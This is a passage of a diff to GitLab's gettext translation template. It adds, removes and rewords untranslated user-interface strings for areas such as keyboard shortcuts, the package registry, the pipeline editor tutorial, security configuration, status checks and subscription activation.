@@ -18690,6 +19033,9 @@ msgstr ""
msgid "KEY"
msgstr ""
+msgid "Keep"
+msgstr ""
+
msgid "Keep artifacts from most recent successful jobs"
msgstr ""
@@ -18717,9 +19063,30 @@ msgstr ""
msgid "Keyboard shortcuts"
msgstr ""
+msgid "KeyboardKey|Alt"
+msgstr ""
+
+msgid "KeyboardKey|Ctrl"
+msgstr ""
+
msgid "KeyboardKey|Ctrl+"
msgstr ""
+msgid "KeyboardKey|Enter"
+msgstr ""
+
+msgid "KeyboardKey|Esc"
+msgstr ""
+
+msgid "KeyboardKey|Shift"
+msgstr ""
+
+msgid "KeyboardShortcuts|No shortcuts matched your search"
+msgstr ""
+
+msgid "KeyboardShortcuts|Search keyboard shortcuts"
+msgstr ""
+
msgid "Keys"
msgstr ""
@@ -18756,6 +19123,9 @@ msgstr ""
msgid "Kubernetes cluster was successfully updated."
msgstr ""
+msgid "Kubernetes clusters"
+msgstr ""
+
msgid "Kubernetes deployment not found"
msgstr ""
@@ -18998,18 +19368,12 @@ msgstr ""
msgid "Launch a ready-to-code development environment for your project."
msgstr ""
-msgid "Lead"
-msgstr ""
-
msgid "Lead Time"
msgstr ""
msgid "Lead time"
msgstr ""
-msgid "Learn CI/CD syntax"
-msgstr ""
-
msgid "Learn GitLab"
msgstr ""
@@ -19181,6 +19545,12 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitlab|Creating your onboarding experience..."
+msgstr ""
+
+msgid "LearnGitlab|Ok, let's go"
+msgstr ""
+
msgid "LearnGitlab|Trial only"
msgstr ""
@@ -19217,6 +19587,9 @@ msgstr ""
msgid "Let's Encrypt is a free, automated, and open certificate authority (CA) that gives digital certificates in order to enable HTTPS (SSL/TLS) for websites. Learn more about Let's Encrypt configuration by following the %{docs_link_start}documentation on GitLab Pages%{docs_link_end}."
msgstr ""
+msgid "Let's talk!"
+msgstr ""
+
msgid "License"
msgstr ""
@@ -19705,7 +20078,7 @@ msgstr ""
msgid "Manage"
msgstr ""
-msgid "Manage Web IDE features"
+msgid "Manage Web IDE features."
msgstr ""
msgid "Manage access"
@@ -19963,6 +20336,9 @@ msgstr ""
msgid "Maximum PyPI package file size in bytes"
msgstr ""
+msgid "Maximum Terraform Module package file size in bytes"
+msgstr ""
+
msgid "Maximum Users"
msgstr ""
@@ -20050,6 +20426,9 @@ msgstr ""
msgid "Maximum push size (MB)"
msgstr ""
+msgid "Maximum running slices"
+msgstr ""
+
msgid "Maximum size limit for a single commit."
msgstr ""
@@ -20245,6 +20624,9 @@ msgstr ""
msgid "Memory Usage"
msgstr ""
+msgid "Menu"
+msgstr ""
+
msgid "Merge"
msgstr ""
@@ -20296,9 +20678,6 @@ msgstr ""
msgid "Merge request"
msgstr ""
-msgid "Merge request %{iid} authored by %{authorName}"
-msgstr ""
-
msgid "Merge request %{mr_link} was reviewed by %{mr_author}"
msgstr ""
@@ -20587,10 +20966,10 @@ msgstr ""
msgid "MetricsSettings|External dashboard URL"
msgstr ""
-msgid "MetricsSettings|Manage Metrics Dashboard settings."
+msgid "MetricsSettings|Manage metrics dashboard settings."
msgstr ""
-msgid "MetricsSettings|Metrics dashboard"
+msgid "MetricsSettings|Metrics"
msgstr ""
msgid "MetricsSettings|UTC (Coordinated Universal Time)"
@@ -20691,6 +21070,9 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
+msgid "Metrics|GitLab-managed Prometheus is deprecated and %{linkStart}scheduled for removal%{linkEnd}. Following this removal, your existing alerts will continue to function as part of the new cluster integration. However, you will no longer be able to add new alerts or edit existing alerts from the metrics dashboard."
+msgstr ""
+
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -20865,10 +21247,10 @@ msgstr ""
msgid "Middleman project with Static Site Editor support"
msgstr ""
-msgid "Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
+msgid "Migrated %{success_count}/%{total_count} files."
msgstr ""
-msgid "Migrated %{success_count}/%{total_count} files."
+msgid "Migration"
msgstr ""
msgid "Migration has been scheduled to be retried"
@@ -21125,6 +21507,12 @@ msgstr ""
msgid "Monday"
msgstr ""
+msgid "Monitor"
+msgstr ""
+
+msgid "Monitor Settings"
+msgstr ""
+
msgid "Monitor your errors by integrating with Sentry."
msgstr ""
@@ -21257,6 +21645,9 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
+msgid "Must have a unique policy, status, and elapsed time"
+msgstr ""
+
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21284,6 +21675,9 @@ msgstr ""
msgid "Name has already been taken"
msgstr ""
+msgid "Name is already taken."
+msgstr ""
+
msgid "Name new label"
msgstr ""
@@ -21451,9 +21845,6 @@ msgstr ""
msgid "NetworkPolicies|Edit policy"
msgstr ""
-msgid "NetworkPolicies|Editor mode"
-msgstr ""
-
msgid "NetworkPolicies|Enforcement status"
msgstr ""
@@ -21553,9 +21944,6 @@ msgstr ""
msgid "NetworkPolicies|Unable to parse policy"
msgstr ""
-msgid "NetworkPolicies|YAML editor"
-msgstr ""
-
msgid "NetworkPolicies|all DNS names"
msgstr ""
@@ -21903,7 +22291,7 @@ msgstr ""
msgid "No compliance frameworks are in use."
msgstr ""
-msgid "No compliance frameworks are in use. Create one using the GraphQL API."
+msgid "No compliance frameworks are in use. Create one from the %{link} section in Group Settings."
msgstr ""
msgid "No confirmation email received? Please check your spam folder or"
@@ -21930,6 +22318,9 @@ msgstr ""
msgid "No data to display"
msgstr ""
+msgid "No deployments detected. Use environments to control your software's continuous deployment. %{linkStart}Learn more about deployment jobs.%{linkEnd}"
+msgstr ""
+
msgid "No deployments found"
msgstr ""
@@ -22143,6 +22534,9 @@ msgstr ""
msgid "None of the group milestones have the same project as the release"
msgstr ""
+msgid "Normal text"
+msgstr ""
+
msgid "Not Implemented"
msgstr ""
@@ -22469,6 +22863,9 @@ msgstr ""
msgid "Ok, let's go"
msgstr ""
+msgid "Okay"
+msgstr ""
+
msgid "Oldest first"
msgstr ""
@@ -22849,7 +23246,7 @@ msgstr ""
msgid "OpenAPI"
msgstr ""
-msgid "OpenAPI specification file path"
+msgid "OpenAPI Specification file path or URL"
msgstr ""
msgid "Opened"
@@ -22948,7 +23345,7 @@ msgstr ""
msgid "Otherwise, click the link below to complete the process:"
msgstr ""
-msgid "Our documentation includes an example DevOps Score report."
+msgid "Our team has been notified. Please try again."
msgstr ""
msgid "Out-of-compliance with this project's policies and should be removed"
@@ -23014,6 +23411,9 @@ msgstr ""
msgid "Package type must be Debian"
msgstr ""
+msgid "Package type must be Helm"
+msgstr ""
+
msgid "Package type must be Maven"
msgstr ""
@@ -23041,6 +23441,9 @@ msgstr ""
msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
@@ -23083,6 +23486,9 @@ msgstr ""
msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -23104,6 +23510,9 @@ msgstr ""
msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Kotlin DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -23155,9 +23564,18 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL"
+msgstr ""
+
msgid "PackageRegistry|Gradle Groovy DSL install command"
msgstr ""
+msgid "PackageRegistry|Gradle Kotlin DSL"
+msgstr ""
+
+msgid "PackageRegistry|Gradle Kotlin DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -23167,6 +23585,9 @@ msgstr ""
msgid "PackageRegistry|Install package version"
msgstr ""
+msgid "PackageRegistry|Invalid Package: failed metadata extraction"
+msgstr ""
+
msgid "PackageRegistry|Learn how to %{noPackagesLinkStart}publish and share your packages%{noPackagesLinkEnd} with GitLab."
msgstr ""
@@ -23182,6 +23603,9 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
+msgid "PackageRegistry|Maven XML"
+msgstr ""
+
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -23227,6 +23651,9 @@ msgstr ""
msgid "PackageRegistry|RubyGems"
msgstr ""
+msgid "PackageRegistry|Settings for Generic packages"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
@@ -23239,12 +23666,6 @@ msgstr ""
msgid "PackageRegistry|Show Conan commands"
msgstr ""
-msgid "PackageRegistry|Show Gradle Groovy DSL commands"
-msgstr ""
-
-msgid "PackageRegistry|Show Maven commands"
-msgstr ""
-
msgid "PackageRegistry|Show NPM commands"
msgstr ""
@@ -23341,7 +23762,7 @@ msgstr ""
msgid "Pages Domain"
msgstr ""
-msgid "Pages getting started guide"
+msgid "Pagination|First"
msgstr ""
msgid "Pagination|Go to first page"
@@ -23356,6 +23777,9 @@ msgstr ""
msgid "Pagination|Go to previous page"
msgstr ""
+msgid "Pagination|Last"
+msgstr ""
+
msgid "Pagination|Last »"
msgstr ""
@@ -23407,6 +23831,9 @@ msgstr ""
msgid "Password"
msgstr ""
+msgid "Password (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Password (optional)"
msgstr ""
@@ -23542,6 +23969,9 @@ msgstr ""
msgid "PerformanceBar|Gitaly calls"
msgstr ""
+msgid "PerformanceBar|Memory"
+msgstr ""
+
msgid "PerformanceBar|Redis calls"
msgstr ""
@@ -23620,6 +24050,9 @@ msgstr ""
msgid "Pipeline Schedules"
msgstr ""
+msgid "Pipeline durations for the last 30 commits"
+msgstr ""
+
msgid "Pipeline minutes quota"
msgstr ""
@@ -23674,6 +24107,54 @@ msgstr ""
msgid "PipelineCharts|Total:"
msgstr ""
+msgid "PipelineEditorTutorial|A typical GitLab pipeline consists of three stages: build, test and deploy. Each stage can have one or more jobs."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Browse %{linkStart}CI/CD examples and templates%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Get started with GitLab CI/CD"
+msgstr ""
+
+msgid "PipelineEditorTutorial|GitLab CI/CD can automatically build, test, and deploy your application."
+msgstr ""
+
+msgid "PipelineEditorTutorial|If you’re using a self-managed GitLab instance, %{linkStart}make sure your instance has runners available.%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|In the example below, %{codeStart}build%{codeEnd} and %{codeStart}deploy%{codeEnd} each contain one job, and %{codeStart}test%{codeEnd} contains two jobs. Your scripts run in jobs like these."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Learn more about %{linkStart}GitLab CI/CD concepts%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Make your pipeline more efficient with the %{linkStart}Needs keyword%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|Resources to help with your CI/CD configuration:"
+msgstr ""
+
+msgid "PipelineEditorTutorial|The pipeline stages and jobs are defined in a %{codeStart}.gitlab-ci.yml%{codeEnd} file. You can edit, visualize and validate the syntax in this file by using the Pipeline Editor."
+msgstr ""
+
+msgid "PipelineEditorTutorial|Use the Visualize and Lint tabs in the Pipeline Editor to visualize your pipeline and check for any errors or warnings before committing your changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|View %{linkStart}.gitlab-ci.yml syntax reference%{linkEnd}"
+msgstr ""
+
+msgid "PipelineEditorTutorial|You can use %{linkStart}CI/CD examples and templates%{linkEnd} to get your first %{codeStart}.gitlab-ci.yml%{codeEnd} configuration file started. Your first pipeline runs when you commit the changes."
+msgstr ""
+
+msgid "PipelineEditorTutorial|âš™ï¸ Pipeline configuration reference"
+msgstr ""
+
+msgid "PipelineEditorTutorial|💡 Tip: Visualize and validate your pipeline"
+msgstr ""
+
+msgid "PipelineEditorTutorial|🚀 Run your first pipeline"
+msgstr ""
+
msgid "PipelineEditor|The CI/CD configuration is continuously validated. Errors and warnings are displayed when the CI/CD configuration file is not empty."
msgstr ""
@@ -23740,6 +24221,9 @@ msgstr ""
msgid "Pipelines|API"
msgstr ""
+msgid "Pipelines|Add a code quality job"
+msgstr ""
+
msgid "Pipelines|Are you sure you want to run this pipeline?"
msgstr ""
@@ -23797,6 +24281,9 @@ msgstr ""
msgid "Pipelines|If you are unsure, please ask a project maintainer to review it for you."
msgstr ""
+msgid "Pipelines|Improve code quality with GitLab CI/CD"
+msgstr ""
+
msgid "Pipelines|It is recommended the code is reviewed thoroughly before running this pipeline with the parent project's CI resource."
msgstr ""
@@ -23818,6 +24305,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No artifacts available"
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -23872,6 +24362,9 @@ msgstr ""
msgid "Pipelines|This project is not currently set up to run pipelines."
msgstr ""
+msgid "Pipelines|To keep your codebase simple, readable, and accessible to contributors, use GitLab CI/CD to analyze your code quality with every push to your project."
+msgstr ""
+
msgid "Pipelines|Token"
msgstr ""
@@ -23902,9 +24395,6 @@ msgstr ""
msgid "Pipelines|Visualize"
msgstr ""
-msgid "Pipelines|Write pipeline configuration"
-msgstr ""
-
msgid "Pipelines|invalid"
msgstr ""
@@ -24202,9 +24692,15 @@ msgstr ""
msgid "Please provide a name"
msgstr ""
+msgid "Please provide a name."
+msgstr ""
+
msgid "Please provide a valid URL"
msgstr ""
+msgid "Please provide a valid URL."
+msgstr ""
+
msgid "Please provide a valid YouTube URL or ID"
msgstr ""
@@ -24241,6 +24737,9 @@ msgstr ""
msgid "Please select a valid target branch"
msgstr ""
+msgid "Please select a valid target branch."
+msgstr ""
+
msgid "Please select and add a member"
msgstr ""
@@ -24250,6 +24749,9 @@ msgstr ""
msgid "Please select what should be included in each exported requirement."
msgstr ""
+msgid "Please select..."
+msgstr ""
+
msgid "Please set a new password before proceeding."
msgstr ""
@@ -24283,9 +24785,6 @@ msgstr ""
msgid "Please wait while we import the repository for you. Refresh at will."
msgstr ""
-msgid "Plugins directory is deprecated and will be removed in 14.0. Please move this file into /file_hooks directory."
-msgstr ""
-
msgid "Pod does not exist"
msgstr ""
@@ -24313,6 +24812,9 @@ msgstr ""
msgid "Postman collection"
msgstr ""
+msgid "Postman collection file path or URL"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -24469,6 +24971,9 @@ msgstr ""
msgid "Preview"
msgstr ""
+msgid "Preview JavaScript projects in the Web IDE with CodeSandbox Live Preview. %{link_start}Learn more.%{link_end} "
+msgstr ""
+
msgid "Preview Markdown"
msgstr ""
@@ -24823,7 +25328,7 @@ msgstr ""
msgid "Profiles|Profile was successfully updated"
msgstr ""
-msgid "Profiles|Public Avatar"
+msgid "Profiles|Public avatar"
msgstr ""
msgid "Profiles|Public email"
@@ -25081,6 +25586,9 @@ msgstr ""
msgid "Project info:"
msgstr ""
+msgid "Project information"
+msgstr ""
+
msgid "Project is required when cluster_type is :project"
msgstr ""
@@ -25234,9 +25742,6 @@ msgstr ""
msgid "ProjectService|Must have permission to trigger a manual build in TeamCity."
msgstr ""
-msgid "ProjectService|New issue URL"
-msgstr ""
-
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
@@ -25711,9 +26216,6 @@ msgstr ""
msgid "Projects shared with %{group_name}"
msgstr ""
-msgid "Projects that belong to a group are prefixed with the group namespace. Existing projects may be moved into a group."
-msgstr ""
-
msgid "Projects to index"
msgstr ""
@@ -25765,12 +26267,6 @@ msgstr ""
msgid "ProjectsNew|Allows you to immediately clone this project’s repository. Skip this if you plan to push up an existing repository."
msgstr ""
-msgid "ProjectsNew|Blank"
-msgstr ""
-
-msgid "ProjectsNew|Blank project"
-msgstr ""
-
msgid "ProjectsNew|Connect your external repository to GitLab CI/CD."
msgstr ""
@@ -25783,6 +26279,9 @@ msgstr ""
msgid "ProjectsNew|Create a blank project to house your files, plan your work, and collaborate on code, among other things."
msgstr ""
+msgid "ProjectsNew|Create a project pre-populated with the necessary files to get you started quickly."
+msgstr ""
+
msgid "ProjectsNew|Create blank project"
msgstr ""
@@ -25795,9 +26294,6 @@ msgstr ""
msgid "ProjectsNew|Create new project"
msgstr ""
-msgid "ProjectsNew|Creating project & repository."
-msgstr ""
-
msgid "ProjectsNew|Description format"
msgstr ""
@@ -25813,10 +26309,10 @@ msgstr ""
msgid "ProjectsNew|Initialize repository with a README"
msgstr ""
-msgid "ProjectsNew|No import options available"
+msgid "ProjectsNew|Migrate your data from an external source like GitHub, Bitbucket, or another instance of GitLab."
msgstr ""
-msgid "ProjectsNew|Please wait a moment, this page will automatically refresh when ready."
+msgid "ProjectsNew|No import options available"
msgstr ""
msgid "ProjectsNew|Project description %{tag_start}(optional)%{tag_end}"
@@ -25825,9 +26321,6 @@ msgstr ""
msgid "ProjectsNew|Run CI/CD for external repository"
msgstr ""
-msgid "ProjectsNew|Template"
-msgstr ""
-
msgid "ProjectsNew|Visibility Level"
msgstr ""
@@ -26575,9 +27068,6 @@ msgstr ""
msgid "Reconfigure"
msgstr ""
-msgid "Recover hidden stage"
-msgstr ""
-
msgid "Recovering projects"
msgstr ""
@@ -26587,6 +27077,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redirecting"
+msgstr ""
+
msgid "Redis"
msgstr ""
@@ -26685,7 +27178,7 @@ msgstr ""
msgid "Regulate approvals by authors/committers. Affects all projects."
msgstr ""
-msgid "Reindexing Status: %{status}"
+msgid "Reindexing Status: %{status} (Slice multiplier: %{multiplier}, Maximum running slices: %{max_slices})"
msgstr ""
msgid "Rejected (closed)"
@@ -26918,9 +27411,6 @@ msgstr ""
msgid "Remove spent time"
msgstr ""
-msgid "Remove stage"
-msgstr ""
-
msgid "Remove time estimate"
msgstr ""
@@ -26936,6 +27426,9 @@ msgstr ""
msgid "Remove user from project"
msgstr ""
+msgid "Remove..."
+msgstr ""
+
msgid "Removed"
msgstr ""
@@ -27879,6 +28372,18 @@ msgstr ""
msgid "Runners|New runner, has not connected yet"
msgstr ""
+msgid "Runners|Not connected"
+msgstr ""
+
+msgid "Runners|Offline"
+msgstr ""
+
+msgid "Runners|Online"
+msgstr ""
+
+msgid "Runners|Paused"
+msgstr ""
+
msgid "Runners|Platform"
msgstr ""
@@ -28456,16 +28961,25 @@ msgstr ""
msgid "SecurityConfiguration|Available with %{linkStart}upgrade or free trial%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|Available with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|By default, all analyzers are applied in order to cover all languages across your project, and only run if the language is detected in the Merge Request."
msgstr ""
+msgid "SecurityConfiguration|Compliance"
+msgstr ""
+
+msgid "SecurityConfiguration|Configuration guide"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Configure via Merge Request"
+msgid "SecurityConfiguration|Configure %{feature}"
msgstr ""
-msgid "SecurityConfiguration|Configure via merge request"
+msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
@@ -28480,6 +28994,9 @@ msgstr ""
msgid "SecurityConfiguration|Enable"
msgstr ""
+msgid "SecurityConfiguration|Enable %{feature}"
+msgstr ""
+
msgid "SecurityConfiguration|Enabled"
msgstr ""
@@ -28492,6 +29009,9 @@ msgstr ""
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage scans"
+msgstr ""
+
msgid "SecurityConfiguration|More information"
msgstr ""
@@ -28504,10 +29024,10 @@ msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
-msgid "SecurityConfiguration|SAST merge request creation mutation failed"
+msgid "SecurityConfiguration|Security Control"
msgstr ""
-msgid "SecurityConfiguration|Security Control"
+msgid "SecurityConfiguration|Security testing"
msgstr ""
msgid "SecurityConfiguration|Status"
@@ -28516,6 +29036,9 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28570,6 +29093,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28588,9 +29114,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28612,9 +29135,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -28783,6 +29303,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -28849,6 +29372,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29083,6 +29609,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29236,9 +29765,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29473,9 +29999,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -29714,6 +30237,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -29807,6 +30336,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30044,6 +30576,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30350,6 +30885,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30365,10 +30903,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
+msgstr ""
+
+msgid "StageName|Deploy"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30590,18 +31131,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30635,9 +31215,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -30692,6 +31269,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -30797,6 +31377,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -30908,6 +31491,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -30932,6 +31518,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31043,42 +31632,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31088,18 +31728,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
